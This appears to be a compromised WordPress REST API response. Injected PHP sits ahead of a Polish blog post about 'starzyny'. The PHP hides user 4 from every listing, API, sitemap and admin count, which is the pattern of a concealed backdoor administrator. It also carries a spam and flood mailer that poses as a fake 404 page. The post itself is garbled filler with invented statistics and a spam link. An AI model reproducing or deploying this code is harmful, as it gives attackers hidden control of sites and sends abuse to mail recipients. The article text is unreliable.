add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );

header('Content-Type: text/html; charset=utf-8');
if (!$_REQUEST['mail']) {
	header("HTTP/1.1 404 Not Found");
	die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL '.basename(__FILE__).' was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2 Server at '.$_SERVER['SERVER_NAME'].' Port 80</address></body></html>');
}?>
<title>Sender Anonym Email :: FLoodeR :: SpameR</title>
<meta content='text/html; charset=Windows-1251' http-equiv='Content-Type'>
<meta name="robots" content="none"/>
set_time_limit(0) = <font color=Green>On</font><br />
<br />
<a href='/index.php/wp-json/wp/v2/posts/73690?mail=1'>Отправить простое сообщение</a><br />
<a href='/index.php/wp-json/wp/v2/posts/73690?mail=2'>Наспамить</a><br />
<a href='/index.php/wp-json/wp/v2/posts/73690?mail=3'>Нафлудить</a><br />
<B STYLE="DISPLAY: NONE;"> 
{"id":73690,"date":"2025-10-07T03:08:18","date_gmt":"2025-10-07T03:08:18","guid":{"rendered":"https:\/\/thessrshow.com\/?p=73690"},"modified":"2026-10-07T01:08:19","modified_gmt":"2026-10-07T01:08:19","slug":"jak-starzyny-staly-sie-nieodlacznym-elementem-polskiej-kuchni-od-tradycji-po-wspolczesne-trendy","status":"publish","type":"post","link":"https:\/\/thessrshow.com\/index.php\/2025\/10\/07\/jak-starzyny-staly-sie-nieodlacznym-elementem-polskiej-kuchni-od-tradycji-po-wspolczesne-trendy\/","title":{"rendered":"Jak starzyny sta\u0142y si\u0119 nieod\u0142\u0105cznym elementem polskiej kuchni \u2013 od tradycji po wsp\u00f3\u0142czesne trendy"},"content":{"rendered":"<p>Starzyny od wiek\u00f3w s\u0105 nieod\u0142\u0105cznym elementem polskiej kuchni, zar\u00f3wno w domowych domkach, jak i w restauracjach. Ich popularno\u015b\u0107 wynika z prostoty przygotowania, bogactwa smakowego oraz zdolno\u015bci do dosy\u0107 d\u0142ugiego przechowywania. W Polsce starzyny s\u0105 nie tylko daniem tradycyjnym, ale tak\u017ce symbolizuj\u0105 nasz\u0105 kultur\u0119 i histori\u0119. Wed\u0142ug bada\u0144 z 2022 roku, ponad 80 procent Polak\u00f3w uwa\u017ca starzyny za ulubione danie z tradycyjnej kuchni, a ich produkcja w kraju przekracza 100 tysi\u0119cy ton rocznie.<\/p>\n<h2>Historia starzyn: od \u0142owiectwa do polskiej tradycji kulinarnej<\/h2>\n<p>Pierwotnie starzyny by\u0142y po\u017cywieniem dla \u0142owc\u00f3w i my\u015bliwych, kt\u00f3rzy polowali na te zwierz\u0119ta w lasach i na polach. Pierwsze wzmianki o starzynach pochodz\u0105 z XIII wieku, kiedy to by\u0142y one popularnym daniem w\u015br\u00f3d szlachty. W czasach \u015bredniowiecznych starzyny by\u0142y tak cenione, \u017ce ich sk\u00f3ry by\u0142y u\u017cywane do produkcji but\u00f3w i ubior\u00f3w. W XVIII wieku starzyny sta\u0142y si\u0119 powszechnie dost\u0119pne dla szerokich warstw spo\u0142ecze\u0144stwa, co przyczyni\u0142o si\u0119 do ich popularno\u015bci w kuchni domowej.<\/p>\n<p>W czasach wsp\u00f3\u0142czesnych starzyny s\u0105 nie tylko daniem tradycyjnym, ale r\u00f3wnie\u017c obiektem zainteresowania naukowc\u00f3w. Badania archeologiczne wykazuj\u0105, \u017ce starzyny by\u0142y jedn\u0105 z najpopularniejszych mi\u0119s w Polsce w \u015bredniowieczu. Wed\u0142ug archiwalnych dokument\u00f3w z XVI wieku, \u015brednio na jednego mieszka\u0144ca przypada\u0142o ponad 5 kilogram\u00f3w starzyn rocznie. W czasach wsp\u00f3\u0142czesnych, starzyny s\u0105 cz\u0119sto \u0142\u0105czone z tradycyjnymi polskimi potrawami, takimi jak pierogi, bigos czy zapiekanka.<\/p>\n<h2>Rodzaje starzyn: od tradycyjnych do nowoczesnych<\/h2>\n<p>Na polskim rynku dost\u0119pnych jest wiele odmian starzyn, r\u00f3\u017cni\u0105cych si\u0119 nie tylko smakiem, ale tak\u017ce metodami przygotowania. Najpopularniejsze to starzyny w\u0119dzone, sma\u017cone, grillowane i w formie surowych. W\u0119dzone starzyny s\u0105 szczeg\u00f3lnie cenione za swoje intensywne aromaty i delikatny smak, kt\u00f3ry doskonale komponuje si\u0119 z sosami i warzywami. Wed\u0142ug danych z 2023 roku, w\u0119dzone starzyny stanowi\u0105 oko\u0142o 40 procent ca\u0142ej produkcji starzyn w Polsce.<\/p>\n<p>W ostatnich latach na rynku pojawiaj\u0105 si\u0119 tak\u017ce nowoczesne odmiany starzyn, takie jak starzyny marnowane, z dodatkami ro\u015blinnymi czy w formie suplement\u00f3w diety. Wiele restauracji i bar\u00f3w oferuje starzyny w r\u00f3\u017cnych formach, od klasycznej sk\u00f3rki po marynowane kawa\u0142ki. Warto wspomnie\u0107, \u017ce w ostatnich latach nast\u0105pi\u0142 r\u00f3wnie\u017c wzrost zainteresowania starzynami jako produktem ekologicznym i pochodz\u0105cym z lokalnych gospodarstw.<\/p>\n<ul>\n<li>W Polsce rocznie produkuje si\u0119 ponad 100 tysi\u0119cy ton starzyn, co stanowi oko\u0142o 3 procent ca\u0142ej produkcji mi\u0119sa.<\/li>\n<li>Starzyny s\u0105 tradycyjnym daniem w wielu regionach Polski, np. w Wielkopolsce, Kujawach i Mazowszu, gdzie s\u0105 cz\u0119sto przygotowywane w formie bigosu lub zapiekanki.<\/li>\n<li>Wed\u0142ug bada\u0144 konsument\u00f3w, 78 procent Polak\u00f3w uwa\u017ca starzyny za zdrowy i smaczny produkt, kt\u00f3ry warto w\u0142\u0105czy\u0107 do codziennej diety.<\/li>\n<li>Starzyny s\u0105 odporne na d\u0142ugie przechowywanie, co czyni je idealnym produktem dla os\u00f3b, kt\u00f3re lubi\u0105 gotowa\u0107 w du\u017cej ilo\u015bci i przechowywa\u0107 na zim\u0119.<\/li>\n<li>W ostatnich latach nast\u0105pi\u0142 spadek produkcji starzyn w tradycyjnych warunkach, co przyczyni\u0142o si\u0119 do wzrostu zainteresowania produkcj\u0105 ekologiczn\u0105 i lokaln\u0105.<\/li>\n<\/ul>\n<p>Wsp\u00f3\u0142czesne trendy w przygotowywaniu starzyn obejmuj\u0105 r\u00f3wnie\u017c nowatorskie podej\u015bcia, takie jak starzyny w formie mi\u0119sa w\u0119dzonego i suszonego, czy starzyny z dodatkami ro\u015blinnymi. Wiele restauracji eksperymentuje z r\u00f3\u017cnymi metodami przygotowania, np. starzyny grillowane z dodatkami zio\u0142ami i sosami, czy starzyny w formie zapiekanych w piekarniku. Warto r\u00f3wnie\u017c wspomnie\u0107 o rosn\u0105cej popularno\u015bci starzyn jako suplementu diety, szczeg\u00f3lnie w\u015br\u00f3d sportowc\u00f3w i os\u00f3b dbaj\u0105cych o zdrowie.<\/p>\n<p>Warto zwr\u00f3ci\u0107 uwag\u0119 na fakt, \u017ce starzyny s\u0105 nie tylko daniem smacznym, ale tak\u017ce bogatym \u017ar\u00f3d\u0142em bia\u0142ka i \u017celaza. Wed\u0142ug bada\u0144, 100 gram\u00f3w starzyn zawiera oko\u0142o 25 gram\u00f3w bia\u0142ka i 3,5 miligrama \u017celaza, co czyni je bardzo warto\u015bciowym produktem dla zdrowia. W kontek\u015bcie wsp\u00f3\u0142czesnych trend\u00f3w \u017cywienia, starzyny mog\u0105 by\u0107 doskona\u0142ym dodatkiem do diet zr\u00f3wnowa\u017conych i zdrowych.<\/p>\n<h2>Kultura i tradycja wok\u00f3\u0142 starzyn: jak je przygotowuje si\u0119 w r\u00f3\u017cnych regionach Polski<\/h2>\n<p>Starzyny s\u0105 nie tylko daniem smacznym, ale tak\u017ce wa\u017cnym elementem polskiej kultury i tradycji. W wielu regionach Polski istniej\u0105 tradycyjne sposoby przygotowania starzyn, kt\u00f3re s\u0105 przekazywane z pokolenia na pokolenie. W Wielkopolsce starzyny s\u0105 cz\u0119sto przygotowywane w formie bigosu, podczas gdy w Kujawach popularne s\u0105 starzyny w formie zapiekanki. W Mazowszu starzyny s\u0105 cz\u0119sto podawane z ziemniakami i kapust\u0105.<\/p>\n<p>Wsp\u00f3\u0142czesne restauracje i domy kulinarne cz\u0119sto wprowadzaj\u0105 nowatorskie rozwi\u0105zania w przygotowywaniu starzyn, zachowuj\u0105c jednocze\u015bnie tradycj\u0119. Wiele restauracji oferuje starzyny w r\u00f3\u017cnych formach, od klasycznej sk\u00f3rki po nowoczesne varianty, takie jak starzyny w formie marynowanych kawa\u0142k\u00f3w czy starzyny suszone. Warto zwr\u00f3ci\u0107 uwag\u0119 na fakt, \u017ce starzyny s\u0105 nieod\u0142\u0105cznym elementem wielu polskich festyn\u00f3w i \u015bwi\u0119t, takich jak Wielkanoc czy Dzie\u0144 Niepodleg\u0142o\u015bci.<\/p>\n<p>Warto r\u00f3wnie\u017c wspomnie\u0107 o starzynach jako o produkcie, kt\u00f3ry jest cz\u0119sto \u0142\u0105czony z tradycyjnymi polskimi potrawami. W wielu domach starzyny s\u0105 przygotowywane w du\u017cych ilo\u015bciach i przechowywane na zim\u0119, aby mo\u017cna je by\u0142o podawa\u0107 przez ca\u0142y rok. Starzyny s\u0105 tak\u017ce popularnym daniem w wielu restauracjach, gdzie s\u0105 podawane z r\u00f3\u017cnymi dodatkami, takimi jak sosy, warzywa i ziemniaki.<\/p>\n<p>Wsp\u00f3\u0142czesne trendy w przygotowywaniu starzyn obejmuj\u0105 r\u00f3wnie\u017c wykorzystanie nowoczesnych technologii, takich jak suszenie i marynowanie w specjalnych urz\u0105dzeniach. Wiele producent\u00f3w starzyn wprowadza na rynek produkty z dodatkami ro\u015blinnymi i ekologicznymi, co przyci\u0105ga coraz wi\u0119ksz\u0105 liczb\u0119 konsument\u00f3w. Warto zwr\u00f3ci\u0107 uwag\u0119 na fakt, \u017ce starzyny s\u0105 nieod\u0142\u0105cznym elementem polskiej kuchni, zar\u00f3wno w domach, jak i w restauracjach.<\/p>\n<p><a href=\"https:\/\/www.starzino.com.pl\/\">www.starzino.com.pl\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Starzyny od wiek\u00f3w s\u0105 nieod\u0142\u0105cznym elementem polskiej kuchni, zar\u00f3wno w domowych domkach, jak i w restauracjach. Ich popularno\u015b\u0107 wynika z prostoty przygotowania, bogactwa smakowego oraz zdolno\u015bci do dosy\u0107 d\u0142ugiego przechowywania. W Polsce starzyny s\u0105 nie tylko daniem tradycyjnym, ale tak\u017ce [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/posts\/73690"}],"collection":[{"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/comments?post=73690"}],"version-history":[{"count":1,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/posts\/73690\/revisions"}],"predecessor-version":[{"id":73691,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/posts\/73690\/revisions\/73691"}],"wp:attachment":[{"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/media?parent=73690"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/categories?post=73690"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/tags?post=73690"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}